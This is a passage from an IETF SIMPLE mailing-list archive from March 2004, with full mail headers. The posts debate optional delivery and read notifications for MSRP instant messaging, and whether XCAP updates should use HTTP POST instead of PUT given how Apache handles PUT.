<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =
size=3D2>It is=20
optional. If it is annoying to you, then you don't request a delivery=20
notification. It is not every time and it is not =
mandatory.</FONT></SPAN></DIV>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D616562210-04032004><FONT face=3DArial color=3D#0000ff =

size=3D2>/Hisham</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext vikas=20
  [mailto:vikas@arciis.com]<BR><B>Sent:</B> 04.March.2004 =
07:31<BR><B>To:</B>=20
  Vijay K. Gurbani; ; Rohan Mahy; Niemi Aki (Nokia-M/Espoo); Khartabil =
Hisham=20
  (Nokia-TP-MSW/Helsinki); <BR><B>Subject:</B> Re: [Simple] return =
receipt and=20
  delivery status notification for =
MSRP<BR><BR></FONT></DIV>Hi,<BR><BR>Adding to=20
  what Vijay just mentioned, it would be annoying for the user to get a=20
  notification everytime that the message has been read by the target.=20
  <BR><BR>Typically the number of messages exchanged in IM will be =
greater than=20
  that in email (if you would like to compare for read notification =
purpose).=20
  <BR><BR>To me - "no news is good news" sounds okay for delivery=20
  notifications.<BR><BR>Regards,<BR>Vikas Tandon<BR>Arciis Software=20
  Technologies<BR>www.arciis.com<BR></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C401D2.D854F9B8--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 06:30:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10962
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 06:30:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr40-0001hy-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 06:30:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayr2p-0001Qt-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 06:29:40 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr1V-00012a-00; Thu, 04 Mar 2004 06:28:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayr1X-0004zW-TQ; Thu, 04 Mar 2004 06:28:20 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr1F-0007u1-Bt; Thu, 04 Mar 2004 06:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr0p-0007sK-4H
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 06:27:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10615
	for <simple@ietf.org>; Thu, 4 Mar 2004 06:27:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr0l-0000sZ-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:27:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayqzm-0000an-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:26:31 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayqyk-00005c-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:25:26 -0500
Received: from softarmor.com (tx-dwillis.wireless.ietf59.or.kr [218.37.227.108])
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i24BPfOT006331
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 4 Mar 2004 05:25:45 -0600
Message-ID: <404711F8.9080807@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
In-Reply-To: <4046D26B.70408@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 05:24:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Niemi Aki (Nokia-M/Espoo) wrote:
> Although I'm all for having discussion on this topic, I'd like to see
> the counterproposal. What goes in the POST body? What then? It's really
> hard to argue against imagineware...

Basically, the same thing that goes in a PUT body now, but framed out as 
  an argument set. One approach might be to make it a text field in a form.

> 
>> Certainly it would be much easier to build an XCAP implementation on 
>> Apache's HTTPD using a POST interface than it would using a PUT 
>> interface.
> 
> 
> Could you elaborate? For example, does the CGI interface not give access
> to the body of a PUT? What's the problem exactly?

I'm not an expert on Apache internals, although I have been building web 
sites with it for ten years or so. As I understand it, PUT requests are 
interpreted by the WebDAV module (or by the basic web posting module if 
you don't have the WebDAV module) and literally results in writing a 
file to the file system. Nothing gets "triggered" when this happens, no 
magic application gets invoked to go do things like assign a conference 
number and update the etag, or anything like that. The data just sits 
there in a file. To implement the current XCAP model, you'd have to 
write some magic filesystem-monitoring daemon that notices the file has 
changed, locks it, reads it, and writes it back with new etags. This 
makes for 1) a lot of polling the filesystem for changes, and 2) really 
wicked locking problems between writes-from-apache and 
writes-from-the-magic-daemon to the data. There's probably a more clever 
way to do it, but it's going to be moderately painful in any case.

Compare this to the POST interface: the server hands the request off to 
the appropriate script-handler, which executes program logic on the 
request. Typically, the body of the request is passed into the handler, 
which parses, validates, and does something useful with that data.

In the most-like today's XCAP case, the handler would parse the request 
to determine the correct XCAP resource, parse out the specifier to get 
to the right place in the XML document, lock and rewrite the XML 
document (remember, this is a sequential text file), return a copy of 
the XML document with a new etag, then IPC notify the list server daemon 
about the change so that it could re-read, validate, and revise (for 
example, assign a conference URI) the resource and notify subscribers of 
changes.

If one can abandon the current convoluted XCAP update model (which 
writes the data BEFORE validating it), I think a much cleaner process 
happens if the script-handler validates the input, locks the resource, 
applies any needed transformation (like adding a conference URI), writes 
the resource, and returns the revised resource and its new etag to the 
POSTer, then IPC-notifies the list server.

This approach would appear relatively easy to implement in a Perl or PHP 
script invoked by the cgi-bin interface in Apache.  In fact, other than 
the xml processing, it's no harder than the scripts I use to run the 
softarmor web site. This is substantially easier to deal with (using my 
antquated skills, at least) than something that requires me to break out 
the compiler and write a new Apache dynamically loaded module that 
intercepts PUT requests.

--
dean

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 06:31:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11056
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 06:31:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr45-0008UD-5x
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 06:30:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i24BUvA4032616
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 06:30:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr44-0008Ts-U3
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 06:30:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10980
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 06:30:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr40-0001i9-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 06:30:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayr2q-0001R0-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 06:29:41 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr1V-00012a-00; Thu, 04 Mar 2004 06:28:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ayr1X-0004zW-TQ; Thu, 04 Mar 2004 06:28:20 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr1F-0007u1-Bt; Thu, 04 Mar 2004 06:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayr0p-0007sK-4H
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 06:27:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10615
	for <simple@ietf.org>; Thu, 4 Mar 2004 06:27:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayr0l-0000sZ-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:27:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayqzm-0000an-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:26:31 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayqyk-00005c-00
	for simple@ietf.org; Thu, 04 Mar 2004 06:25:26 -0500
Received: from softarmor.com (tx-dwillis.wireless.ietf59.or.kr [218.37.227.108])
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i24BPfOT006331
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 4 Mar 2004 05:25:45 -0600
Message-ID: <404711F8.9080807@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
In-Reply-To: <4046D26B.70408@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 05:24:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Niemi Aki (Nokia-M/Espoo) wrote:
> Although I'm all for having discussion on this topic, I'd like to see
> the counterproposal. What goes in the POST body? What then? It's really
> hard to argue against imagineware...

Basically, the same thing that goes in a PUT body now, but framed out as 
  an argument set. One approach might be to make it a text field in a form.

> 
>> Certainly it would be much easier to build an XCAP implementation on 
>> Apache's HTTPD using a POST interface than it would using a PUT 
>> interface.
> 
> 
> Could you elaborate? For example, does the CGI interface not give access
> to the body of a PUT? What's the problem exactly?

I'm not an expert on Apache internals, although I have been building web 
sites with it for ten years or so. As I understand it, PUT requests are 
interpreted by the WebDAV module (or by the basic web posting module if 
you don't have the WebDAV module) and literally results in writing a 
file to the file system. Nothing gets "triggered" when this happens, no 
magic application gets invoked to go do things like assign a conference 
number and update the etag, or anything like that. The data just sits 
there in a file. To implement the current XCAP model, you'd have to 
write some magic filesystem-monitoring daemon that notices the file has 
changed, locks it, reads it, and writes it back with new etags. This 
makes for 1) a lot of polling the filesystem for changes, and 2) really 
wicked locking problems between writes-from-apache and 
writes-from-the-magic-daemon to the data. There's probably a more clever 
way to do it, but it's going to be moderately painful in any case.

Compare this to the POST interface: the server hands the request off to 
the appropriate script-handler, which executes program logic on the 
request. Typically, the body of the request is passed into the handler, 
which parses, validates, and does something useful with that data.

In the most-like today's XCAP case, the handler would parse the request 
to determine the correct XCAP resource, parse out the specifier to get 
to the right place in the XML document, lock and rewrite the XML 
document (remember, this is a sequential text file), return a copy of 
the XML document with a new etag, then IPC notify the list server daemon 
about the change so that it could re-read, validate, and revise (for 
example, assign a conference URI) the resource and notify subscribers of 
changes.

If one can abandon the current convoluted XCAP update model (which 
writes the data BEFORE validating it), I think a much cleaner process 
happens if the script-handler validates the input, locks the resource, 
applies any needed transformation (like adding a conference URI), writes 
the resource, and returns the revised resource and its new etag to the 
POSTer, then IPC-notifies the list server.

This approach would appear relatively easy to implement in a Perl or PHP 
script invoked by the cgi-bin interface in Apache.  In fact, other than 
the xml processing, it's no harder than the scripts I use to run the 
softarmor web site. This is substantially easier to deal with (using my 
antquated skills, at least) than something that requires me to break out 
the compiler and write a new Apache dynamically loaded module that 
intercepts PUT requests.

--
dean

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 09:57:34 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23574
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 09:57:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuI4-0000Pf-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 09:57:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyuHC-0000FK-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 09:56:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuGb-00004J-00; Thu, 04 Mar 2004 09:56:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuGY-0004Lf-Nz; Thu, 04 Mar 2004 09:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuGP-0004Fz-5n
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 09:55:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23531
	for <simple@ietf.org>; Thu, 4 Mar 2004 09:55:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuGN-00003Z-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:55:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyuFi-0007fY-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:55:11 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuEu-0007Lr-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:54:20 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24ErY228946;
	Thu, 4 Mar 2004 08:53:34 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i24ErWJ18523; Thu, 4 Mar 2004 08:53:32 -0600 (CST)
Message-ID: <404742DB.5040004@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: vikas@arciis.com, simple@ietf.org, rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:53:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:

> It is optional. If it is annoying to you, then you don't 
> request a delivery notification. It is not every time and it is 
> not mandatory.

So, just to be pedantic, please correct me if my summary below
is wrong:

   1/ We are interested in DSNs at the _user_ level, not the
      _protocol_ level (i.e. the transactional model at the
      protocol level is sufficient for protocol state
      machines to figure out if an IM was delivered to the
      next hop successfully or not).
   2/ We should design protocol provisions such that a positive
      acknowledgement DSN model is supported (let me know
      the current state of the IM: queued, delivered, read,
      being responded to, ...).
   3/ We should design protocol provisions such that a negative
      acknowledgement DSN model is supported (send it and
      forget it unless something drastic happens, then
      let me know).
   4/ Both 2 and 3 should apply to page mode and session
      mode IMs.
   5/ Both 2 and 3 should be configurable by the sending
      user.

Is this accurate?

Thanks,

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 09:58:06 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23602
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 09:58:06 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuI7-0004gs-7Q
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 09:57:39 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i24EvdAX018030
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 09:57:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuI6-0004gj-VC
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 09:57:38 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23592
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 09:57:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuI4-0000Pk-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 09:57:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyuHD-0000FR-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 09:56:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuGb-00004J-00; Thu, 04 Mar 2004 09:56:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuGY-0004Lf-Nz; Thu, 04 Mar 2004 09:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuGP-0004Fz-5n
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 09:55:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23531
	for <simple@ietf.org>; Thu, 4 Mar 2004 09:55:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuGN-00003Z-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:55:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyuFi-0007fY-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:55:11 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuEu-0007Lr-00
	for simple@ietf.org; Thu, 04 Mar 2004 09:54:20 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i24ErY228946;
	Thu, 4 Mar 2004 08:53:34 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i24ErWJ18523; Thu, 4 Mar 2004 08:53:32 -0600 (CST)
Message-ID: <404742DB.5040004@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: vikas@arciis.com, simple@ietf.org, rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797833@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:53:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:

> It is optional. If it is annoying to you, then you don't 
> request a delivery notification. It is not every time and it is 
> not mandatory.

So, just to be pedantic, please correct me if my summary below
is wrong:

   1/ We are interested in DSNs at the _user_ level, not the
      _protocol_ level (i.e. the transactional model at the
      protocol level is sufficient for protocol state
      machines to figure out if an IM was delivered to the
      next hop successfully or not).
   2/ We should design protocol provisions such that a positive
      acknowledgement DSN model is supported (let me know
      the current state of the IM: queued, delivered, read,
      being responded to, ...).
   3/ We should design protocol provisions such that a negative
      acknowledgement DSN model is supported (send it and
      forget it unless something drastic happens, then
      let me know).
   4/ Both 2 and 3 should apply to page mode and session
      mode IMs.
   5/ Both 2 and 3 should be configurable by the sending
      user.

Is this accurate?

Thanks,

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 10:41:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27277
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 10:41:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayuyk-0001g5-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 10:41:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayuxr-0001Up-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 10:40:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuxF-0001JJ-00; Thu, 04 Mar 2004 10:40:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyuxC-0007Gm-DN; Thu, 04 Mar 2004 10:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayuwr-0007FB-I6
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 10:39:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27134
	for <simple@ietf.org>; Thu, 4 Mar 2004 10:39:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayuwp-0001HM-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:39:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayuvr-00015m-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:38:44 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyuvB-0000q7-00
	for simple@ietf.org; Thu, 04 Mar 2004 10:38:01 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-1.cisco.com with ESMTP; 04 Mar 2004 07:41:40 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i24FbSh0011238;
